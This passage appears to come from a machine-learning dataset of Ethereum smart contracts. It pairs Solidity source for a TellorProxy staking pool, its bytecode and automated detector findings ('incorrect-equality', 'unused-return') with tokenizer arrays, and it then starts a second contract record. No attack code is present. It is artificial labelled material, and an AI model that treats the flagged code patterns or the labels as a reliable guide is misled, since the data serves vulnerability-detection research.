indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/TellorProxy.sol interface ITellor { function addTip(uint256 _requestId, uint256 _tip) external; function submitMiningSolution(string calldata _nonce, uint256 _requestId, uint256 _value) external; function submitMiningSolution(string calldata _nonce,uint256[5] calldata _requestId, uint256[5] calldata _value) external; function depositStake() external; function requestStakingWithdraw() external; function withdrawStake() external; function vote(uint256 _disputeId, bool _supportsDispute) external; } contract TellorProxy is ChiGasSaver, Ownable, ERC20 { address tellorAddress; // Address of Tellor Oracle address gasToken; // Gas token address to use for gas saver uint256 stakedAt; // Timestamp when the stake was deposited uint256 unstakedAt; // Timestamp when the stake was withdrawn uint256 fee; // Fee that stakers collect, where 100 is 1% uint256 stakeAmount; // The Tellor token staking amount uint256 feesCollected; // The fees collected for the stakers constructor(address _tellorAddress, address _gasToken, uint256 _fee, uint256 _stakeAmount) public // NOTE: Change the token name and symbol for each staked miner // Use the form: TPS-YYYYMMDD // Where YYYY == year, MM == month, and DD = day the token is redeamable ERC20("Tellorpool Token (2020-11-22)", "TPS-20201122") { tellorAddress = _tellorAddress; gasToken = _gasToken; fee = _fee; stakeAmount = _stakeAmount * 1e18; feesCollected = 0; } // Enter the contract, get TPS for your TRB function enter(uint256 _amount) public { require(IERC20(tellorAddress).transferFrom(msg.sender, address(this), _amount)); _mint(msg.sender, _amount); require(totalSupply() <= stakeAmount, "CAN NOT ACCEPT MORE THAN STAKE AMOUNT"); } // Leave the contract, get TRB for your TPS function leave() public { // Can only leave after the contract has been unstaked or before staking require(unstakedAt != 0 || stakedAt == 0, "NOT UNSTAKED YET"); uint256 totalTRB = IERC20(tellorAddress).balanceOf(address(this)); uint256 totalShares = totalSupply(); uint256 theirShares = balanceOf(msg.sender); uint256 theirTRB = totalTRB.mul(theirShares).div(totalShares); _burn(msg.sender, theirShares); require(IERC20(tellorAddress).transfer(msg.sender, theirTRB)); } // Close the contract, send remaining balance to owner function close() external onlyOwner { // Can only close after being unstaked for 90 days // or after 365 days from staking (in case of dispute) require((unstakedAt < now - 90 days && unstakedAt != 0) || (stakedAt < now - 365 days && stakedAt != 0), "CAN NOT CLOSE YET"); uint256 leftovers = IERC20(tellorAddress).balanceOf(address(this)); require(IERC20(tellorAddress).transfer(owner(), leftovers)); } // Withdraw rewards less fees function withdrawRewards() external onlyOwner { require(unstakedAt == 0, "NO WITHDRAWS AFTER UNSTAKING"); require(stakedAt != 0, "NO WITHDRAWS BEFORE STAKING"); uint256 surplus = IERC20(tellorAddress).balanceOf(address(this)) - stakeAmount; uint256 available = surplus.mul(10000 - fee).div(10000); feesCollected += surplus - available; require(IERC20(tellorAddress).transfer(owner(), available)); } // Returns the TRB value of the token with 5 decimals of percision function getTokenValue() external view returns (uint256) { if (stakedAt != 0) { return (stakeAmount + feesCollected).mul(100000).div(totalSupply()); } else { return 100000; } } // Returns the fee as a percentage with 2 decimals of percision function getFee() external view returns (uint256) { return fee; } // Withdraw for other tokens if not Tellor function tokenWithdraw(address _tokenAddress, uint256 _amount) external onlyOwner { require(_tokenAddress != tellorAddress, "CAN NOT WITHDRAW TRB"); require(IERC20(_tokenAddress).transfer(owner(), _amount)); } function addTip(uint256 _requestId, uint256 _tip) external onlyOwner saveGas(msg.sender, gasToken) { ITellor(tellorAddress).addTip(_requestId, _tip); } function submitMiningSolutionSaveGas(string calldata _nonce, uint256 _requestId, uint256 _value) external onlyOwner saveGas(msg.sender, gasToken) { ITellor(tellorAddress).submitMiningSolution(_nonce, _requestId, _value); } function submitMiningSolutionSaveGas(string calldata _nonce, uint256[5] calldata _requestId, uint256[5] calldata _value) external onlyOwner saveGas(msg.sender, gasToken) { ITellor(tellorAddress).submitMiningSolution(_nonce, _requestId, _value); } function submitMiningSolution(string calldata _nonce, uint256 _requestId, uint256 _value) external onlyOwner { ITellor(tellorAddress).submitMiningSolution(_nonce, _requestId, _value); } function submitMiningSolution(string calldata _nonce, uint256[5] calldata _requestId, uint256[5] calldata _value) external onlyOwner { ITellor(tellorAddress).submitMiningSolution(_nonce, _requestId, _value); } function depositStake() external onlyOwner { stakedAt = now; ITellor(tellorAddress).depositStake(); } function requestStakingWithdraw() external onlyOwner { ITellor(tellorAddress).requestStakingWithdraw(); } function withdrawStake() external onlyOwner { unstakedAt = now; ITellor(tellorAddress).withdrawStake(); } function vote(uint256 _disputeId, bool _supportsDispute) external onlyOwner { ITellor(tellorAddress).vote(_disputeId, _supportsDispute); } }
0x608060405234801561001057600080fd5b50600436106101da5760003560e01c8063752d49a111610104578063bed9d861116100a2578063ced72f8711610071578063ced72f8714610677578063d66d9e191461067f578063dd62ed3e14610687578063f2fde38b146106b5576101da565b8063bed9d861146105d0578063c2f8b167146105d8578063c7b8981c1461064a578063c9d27afe14610652576101da565b8063a457c2d7116100de578063a457c2d71461052f578063a59f3e0c1461055b578063a9059cbb14610578578063be50af2e146105a4576101da565b8063752d49a1146104e05780638da5cb5b1461050357806395d89b4114610527576101da565b806328449c3a1161017c57806343d726d61161014b57806343d726d61461043657806368c180d51461043e57806370a08231146104b2578063715018a6146104d8576101da565b806328449c3a14610372578063313ce5671461037a57806339509351146103985780634350283e146103c4576101da565b80630a844879116101b85780630a844879146102b65780630d2d76a21461032c57806318160ddd1461033457806323b872dd1461033c576101da565b806306fdde03146101df57806306ffce531461025c578063095ea7b314610276575b600080fd5b6101e76106db565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610221578181015183820152602001610209565b50505050905090810190601f16801561024e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610264610772565b60408051918252519081900360200190f35b6102a26004803603604081101561028c57600080fd5b506001600160a01b0381351690602001356107c0565b604080519115158252519081900360200190f35b61032a600480360360608110156102cc57600080fd5b810190602081018135600160201b8111156102e657600080fd5b8201836020820111156102f857600080fd5b803590602001918460018302840111600160201b8311171561031957600080fd5b9193509150803590602001356107de565b005b61032a6109b5565b610264610a7e565b6102a26004803603606081101561035257600080fd5b506001600160a01b03813581169160208101359091169060400135610a84565b61032a610b11565b610382610bb9565b6040805160ff9092168252519081900360200190f35b6102a2600480360360408110156103ae57600080fd5b506001600160a01b038135169060200135610bc2565b61032a60048036036101608110156103db57600080fd5b810190602081018135600160201b8111156103f557600080fd5b82018360208201111561040757600080fd5b803590602001918460018302840111600160201b8311171561042857600080fd5b919350915060a08101610c16565b61032a610d49565b61032a6004803603606081101561045457600080fd5b810190602081018135600160201b81111561046e57600080fd5b82018360208201111561048057600080fd5b803590602001918460018302840111600160201b831117156104a157600080fd5b919350915080359060200135610f40565b610264600480360360208110156104c857600080fd5b50356001600160a01b031661102f565b61032a61104a565b61032a600480360360408110156104f657600080fd5b50803590602001356110ec565b61050b61128d565b604080516001600160a01b039092168252519081900360200190f35b6101e761129c565b6102a26004803603604081101561054557600080fd5b506001600160a01b0381351690602001356112fd565b61032a6004803603602081101561057157600080fd5b503561136b565b6102a26004803603604081101561058e57600080fd5b506001600160a01b038135169060200135611450565b61032a600480360360408110156105ba57600080fd5b506001600160a01b038135169060200135611464565b61032a6115bb565b61032a60048036036101608110156105ef57600080fd5b810190602081018135600160201b81111561060957600080fd5b82018360208201111561061b57600080fd5b803590602001918460018302840111600160201b8311171561063c57600080fd5b919350915060a0810161166a565b61032a611788565b61032a6004803603604081101561066857600080fd5b5080359060200135151561195a565b610264611a27565b61032a611a2d565b6102646004803603604081101561069d57600080fd5b506001600160a01b0381358116916020013516611bc7565b61032a600480360360208110156106cb57600080fd5b50356001600160a01b0316611bf2565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107675780601f1061073c57610100808354040283529160200191610767565b820191906000526020600020905b81548152906001019060200180831161074a57829003601f168201915b505050505090505b90565b60006008546000146107b6576107af610789610a7e565b600c54600b546107a39101620186a063ffffffff611cea16565b9063ffffffff611d4a16565b905061076f565b50620186a061076f565b60006107d46107cd611d8c565b8484611d90565b5060015b92915050565b6107e6611d8c565b6000546001600160a01b03908116911614610836576040805162461bcd60e51b815260206004820181905260248201526000805160206124aa833981519152604482015290519081900360640190fd5b60075433906001600160a01b031660005a9050600660019054906101000a90046001600160a01b03166001600160a01b03166368c180d5888888886040518563ffffffff1660e01b815260040180806020018481526020018381526020018281038252868682818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b1580156108e057600080fd5b505af11580156108f4573d6000803e3d6000fd5b5060009250506010360290505a8361520801030190506000839050806001600160a01b031663079d229f8661a3db8561374a018161092e57fe5b046040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561097e57600080fd5b505af1158015610992573d6000803e3d6000fd5b505050506040513d60208110156109a857600080fd5b5050505050505050505050565b6109bd611d8c565b6000546001600160a01b03908116911614610a0d576040805162461bcd60e51b815260206004820181905260248201526000805160206124aa833981519152604482015290519081900360640190fd5b42600881905550600660019054906101000a90046001600160a01b03166001600160a01b0316630d2d76a26040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610a6457600080fd5b505af1158015610a78573d6000803e3d6000fd5b50505050565b60035490565b6000610a91848484611e7c565b610b0784610a9d611d8c565b610b0285604051806060016040528060288152602001612482602891396001600160a01b038a16600090815260026020526040812090610adb611d8c565b6001600160a01b03168152602081019190915260400160002054919063ffffffff611fe516565b611d90565b5060019392505050565b610b19611d8c565b6000546001600160a01b03908116911614610b69576040805162461bcd60e51b815260206004820181905260248201526000805160206124aa833981519152604482015290519081900360640190fd5b600660019054906101000a90046001600160a01b03166001600160a01b03166328449c3a6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610a6457600080fd5b60065460ff1690565b60006107d4610bcf611d8c565b84610b028560026000610be0611d8c565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61207c16565b610c1e611d8c565b6000546001600160a01b03908116911614610c6e576040805162461bcd60e51b815260206004820181905260248201526000805160206124aa833981519152604482015290519081900360640190fd5b600660019054906101000a90046001600160a01b03166001600160a01b0316634350283e858585856040518563ffffffff1660e01b8152600401808060200184600560200280828437600083820152601f01601f191690910190508360a080828437600083820152601f01601f191690910183810383528681526020019050868680828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b158015610d2b57600080fd5b505af1158015610d3f573d6000803e3d6000fd5b5050505050505050565b610d51611d8c565b6000546001600160a01b03908116911614610da1576040805162461bcd60e51b815260206004820181905260248201526000805160206124aa833981519152604482015290519081900360640190fd5b6276a7004203600954108015610db8575060095415155b80610dd657506301e133804203600854108015610dd6575060085415155b610e1b576040805162461bcd60e51b815260206004820152601160248201527010d053881393d50810d313d4d148165155607a1b604482015290519081900360640190fd5b600654604080516370a0823160e01b8152306004820152905160009261010090046001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610e6b57600080fd5b505afa158015610e7f573d6000803e3d6000fd5b505050506040513d6020811015610e9557600080fd5b505160065490915061010090046001600160a01b031663a9059cbb610eb861128d565b836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610f0857600080fd5b505af1158015610f1c573d6000803e3d6000fd5b505050506040513d6020811015610f3257600080fd5b5051610f3d57600080fd5b50565b610f48611d8c565b6000546001600160a01b03908116911614610f98576040805162461bcd60e51b815260206004820181905260248201526000805160206124aa833981519152604482015290519081900360640190fd5b600660019054906101000a90046001600160a01b03166001600160a01b03166368c180d5858585856040518563ffffffff1660e01b815260040180806020018481526020018381526020018281038252868682818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b158015610d2b57600080fd5b6001600160a01b031660009081526001602052604090205490565b611052611d8c565b6000546001600160a01b039081169116146110a2576040805162461bcd60e51b815260206004820181905260248201526000805160206124aa833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6110f4611d8c565b6000546001600160a01b03908116911614611144576040805162461bcd60e51b815260206004820181905260248201526000805160206124aa833981519152604482015290519081900360640190fd5b60075433906001600160a01b031660005a9050600660019054906101000a90046001600160a01b03166001600160a01b031663752d49a186866040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b1580156111ba57600080fd5b505af11580156111ce573d6000803e3d6000fd5b5060009250506010360290505a8361520801030190506000839050806001600160a01b031663079d229f8661a3db8561374a018161120857fe5b046040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561125857600080fd5b505af115801561126c573d6000803e3d6000fd5b505050506040513d602081101561128257600080fd5b505050505050505050565b6000546001600160a01b031690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107675780601f1061073c57610100808354040283529160200191610767565b60006107d461130a611d8c565b84610b02856040518060600160405280602581526020016125346025913960026000611334611d8c565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff611fe516565b600654604080516323b872dd60e01b81523360048201523060248201526044810184905290516101009092046001600160a01b0316916323b872dd916064808201926020929091908290030181600087803b1580156113c957600080fd5b505af11580156113dd573d6000803e3d6000fd5b505050506040513d60208110156113f357600080fd5b50516113fe57600080fd5b61140833826120d6565b600b54611413610a7e565b1115610f3d5760405162461bcd60e51b81526004018080602001828103825260258152602001806124166025913960400191505060405180910390fd5b60006107d461145d611d8c565b8484611e7c565b61146c611d8c565b6000546001600160a01b039081169116146114bc576040805162461bcd60e51b815260206004820181905260248201526000805160206124aa833981519152604482015290519081900360640190fd5b6006546001600160a01b0383811661010090920416141561151b576040805162461bcd60e51b815260206004820152601460248201527321a0a7102727aa102ba4aa24222920ab902a292160611b604482015290519081900360640190fd5b816001600160a01b031663a9059cbb61153261128d565b836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561158257600080fd5b505af1158015611596573d6000803e3d6000fd5b505050506040513d60208110156115ac57600080fd5b50516115b757600080fd5b5050565b6115c3611d8c565b6000546001600160a01b03908116911614611613576040805162461bcd60e51b815260206004820181905260248201526000805160206124aa833981519152604482015290519081900360640190fd5b42600981905550600660019054906101000a90046001600160a01b03166001600160a01b031663bed9d8616040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610a6457600080fd5b611672611d8c565b6000546001600160a01b039081169116146116c2576040805162461bcd60e51b815260206004820181905260248201526000805160206124aa833981519152604482015290519081900360640190fd5b60075433906001600160a01b031660005a6006546040516321a8141f60e11b815291925061010090046001600160a01b031690634350283e908990899089908990600481019081906024018460a080828437600083820152601f01601f191690910190508360a080828437600083820152601f01601f191690910183810383528681526020019050868680828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b1580156108e057600080fd5b611790611d8c565b6000546001600160a01b039081169116146117e0576040805162461bcd60e51b815260206004820181905260248201526000805160206124aa833981519152604482015290519081900360640190fd5b60095415611835576040805162461bcd60e51b815260206004820152601c60248201527f4e4f2057495448445241575320414654455220554e5354414b494e4700000000604482015290519081900360640190fd5b600854611889576040805162461bcd60e51b815260206004820152601b60248201527f4e4f20574954484452415753204245464f5245205354414b494e470000000000604482015290519081900360640190fd5b600b54600654604080516370a0823160e01b815230600482015290516000939261010090046001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156118dd57600080fd5b505afa1580156118f1573d6000803e3d6000fd5b505050506040513d602081101561190757600080fd5b5051600a54919003915060009061192f90612710906107a3908590830363ffffffff611cea16565b600c805482850301905560065490915061010090046001600160a01b031663a9059cbb61153261128d565b611962611d8c565b6000546001600160a01b039081169116146119b2576040805162461bcd60e51b815260206004820181905260248201526000805160206124aa833981519152604482015290519081900360640190fd5b600654604080516364e93d7f60e11b815260048101859052831515602482015290516101009092046001600160a01b03169163c9d27afe9160448082019260009290919082900301818387803b158015611a0b57600080fd5b505af1158015611a1f573d6000803e3d6000fd5b505050505050565b600a5490565b600954151580611a3d5750600854155b611a81576040805162461bcd60e51b815260206004820152601060248201526f1393d508155394d51052d1510816515560821b604482015290519081900360640190fd5b600654604080516370a0823160e01b8152306004820152905160009261010090046001600160a01b0316916370a08231916024808301926020929190829003018186803b158015611ad157600080fd5b505afa158015611ae5573d6000803e3d6000fd5b505050506040513d6020811015611afb57600080fd5b505190506000611b09610a7e565b90506000611b163361102f565b90506000611b2e836107a3868563ffffffff611cea16565b9050611b3a33836121d4565b6006546040805163a9059cbb60e01b81523360048201526024810184905290516101009092046001600160a01b03169163a9059cbb916044808201926020929091908290030181600087803b158015611b9257600080fd5b505af1158015611ba6573d6000803e3d6000fd5b505050506040513d6020811015611bbc57600080fd5b5051610a7857600080fd5b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b611bfa611d8c565b6000546001600160a01b03908116911614611c4a576040805162461bcd60e51b815260206004820181905260248201526000805160206124aa833981519152604482015290519081900360640190fd5b6001600160a01b038116611c8f5760405162461bcd60e51b81526004018080602001828103825260268152602001806123ce6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082611cf9575060006107d8565b82820282848281611d0657fe5b0414611d435760405162461bcd60e51b81526004018080602001828103825260218152602001806124616021913960400191505060405180910390fd5b9392505050565b6000611d4383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506122dc565b3390565b6001600160a01b038316611dd55760405162461bcd60e51b81526004018080602001828103825260248152602001806125106024913960400191505060405180910390fd5b6001600160a01b038216611e1a5760405162461bcd60e51b81526004018080602001828103825260228152602001806123f46022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316611ec15760405162461bcd60e51b81526004018080602001828103825260258152602001806124eb6025913960400191505060405180910390fd5b6001600160a01b038216611f065760405162461bcd60e51b81526004018080602001828103825260238152602001806123896023913960400191505060405180910390fd5b611f11838383612341565b611f548160405180606001604052806026815260200161243b602691396001600160a01b038616600090815260016020526040902054919063ffffffff611fe516565b6001600160a01b038085166000908152600160205260408082209390935590841681522054611f89908263ffffffff61207c16565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156120745760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612039578181015183820152602001612021565b50505050905090810190601f1680156120665780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015611d43576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b038216612131576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b61213d60008383612341565b600354612150908263ffffffff61207c16565b6003556001600160a01b03821660009081526001602052604090205461217c908263ffffffff61207c16565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b0382166122195760405162461bcd60e51b81526004018080602001828103825260218152602001806124ca6021913960400191505060405180910390fd5b61222582600083612341565b612268816040518060600160405280602281526020016123ac602291396001600160a01b038516600090815260016020526040902054919063ffffffff611fe516565b6001600160a01b038316600090815260016020526040902055600354612294908263ffffffff61234616565b6003556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6000818361232b5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315612039578181015183820152602001612021565b50600083858161233757fe5b0495945050505050565b505050565b6000611d4383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fe556fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737343414e204e4f5420414343455054204d4f5245205448414e205354414b4520414d4f554e5445524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201ce9a31e26d9f5ff7f51c3ab25cc34c26ea8179a01ac612463a8e97296ef280264736f6c63430006080033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 2497, 27814, 2575, 2497, 2581, 2094, 2683, 2546, 19961, 2497, 2683, 16068, 16932, 2094, 24434, 2546, 2094, 17134, 2620, 2620, 2549, 29292, 2497, 12521, 2497, 16068, 16048, 1013, 1013, 5371, 1024, 8311, 1013, 9610, 12617, 3736, 6299, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2570, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 8278, 2065, 9910, 19699, 5358, 29441, 2080, 1063, 3853, 2489, 19699, 5358, 29441, 2080, 1006, 4769, 2013, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 6327, 5651, 1006, 21318, 3372, 17788, 2575, 10650, 1007, 1025, 1065, 3206, 9610, 12617, 3736, 6299, 1063, 16913, 18095, 3828, 12617, 1006, 4769, 3477, 3085, 10460, 1010, 4769, 9610, 18715, 2368, 1007, 1063, 21318, 3372, 17788, 2575, 3806, 14117, 2102, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,691
0x958be134c3B104f429a3F0d4e6FA74914641DFf0
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.3; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol"; import "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol"; import "./TokenFarming.sol"; contract Factory is Ownable { event FarmingDeployed(address _farmingImp, address _farmingProxy, address _proxyAdmin); function deployFarmingContract( address _stakeToken, address _distributionToken, uint256 _rewardPerBlock ) external onlyOwner returns ( address, address, address ) { TokenFarming _farmingImp = new TokenFarming(); ProxyAdmin _proxyAdmin = new ProxyAdmin(); TransparentUpgradeableProxy _proxy = new TransparentUpgradeableProxy(address(_farmingImp), address(_proxyAdmin), ""); TokenFarming _farmingProxy = TokenFarming(address(_proxy)); _farmingProxy.initTokenFarming(_stakeToken, _distributionToken, _rewardPerBlock); _farmingProxy.transferOwnership(msg.sender); _proxyAdmin.transferOwnership(msg.sender); emit FarmingDeployed(address(_farmingImp), address(_farmingProxy), address(_proxyAdmin)); return (address(_farmingImp), address(_farmingProxy), address(_proxyAdmin)); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.3; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "./common/Globals.sol"; contract TokenFarming is OwnableUpgradeable, PausableUpgradeable { IERC20 public stakeToken; IERC20 public distributionToken; uint256 public rewardPerBlock; uint256 public cumulativeSum; uint256 public lastUpdate; uint256 public totalPoolStaked; uint256 public startDate; struct UserInfo { uint256 stakedAmount; uint256 lastCumulativeSum; uint256 aggregatedReward; } mapping(address => UserInfo) public userInfos; event TokensStaked(address _staker, uint256 _stakeAmount); event TokensWithdrawn(address _staker, uint256 _withdrawAmount); event RewardsClaimed(address _claimer, uint256 _rewardsAmount); function initTokenFarming( address _stakeToken, address _distributioToken, uint256 _rewardPerBlock ) external initializer() { __Pausable_init_unchained(); __Ownable_init(); stakeToken = IERC20(_stakeToken); distributionToken = IERC20(_distributioToken); rewardPerBlock = _rewardPerBlock; startDate = block.timestamp; } modifier updateRewards() { _updateUserRewards(_updateCumulativeSum()); _; } function updateRewardPerBlock(uint256 _newRewardPerBlock) external onlyOwner { _updateCumulativeSum(); rewardPerBlock = _newRewardPerBlock; } function pause() external onlyOwner { _pause(); } function unpause() external onlyOwner { _unpause(); } function stake(uint256 _stakeAmount) external updateRewards whenNotPaused() { userInfos[msg.sender].stakedAmount += _stakeAmount; totalPoolStaked += _stakeAmount; 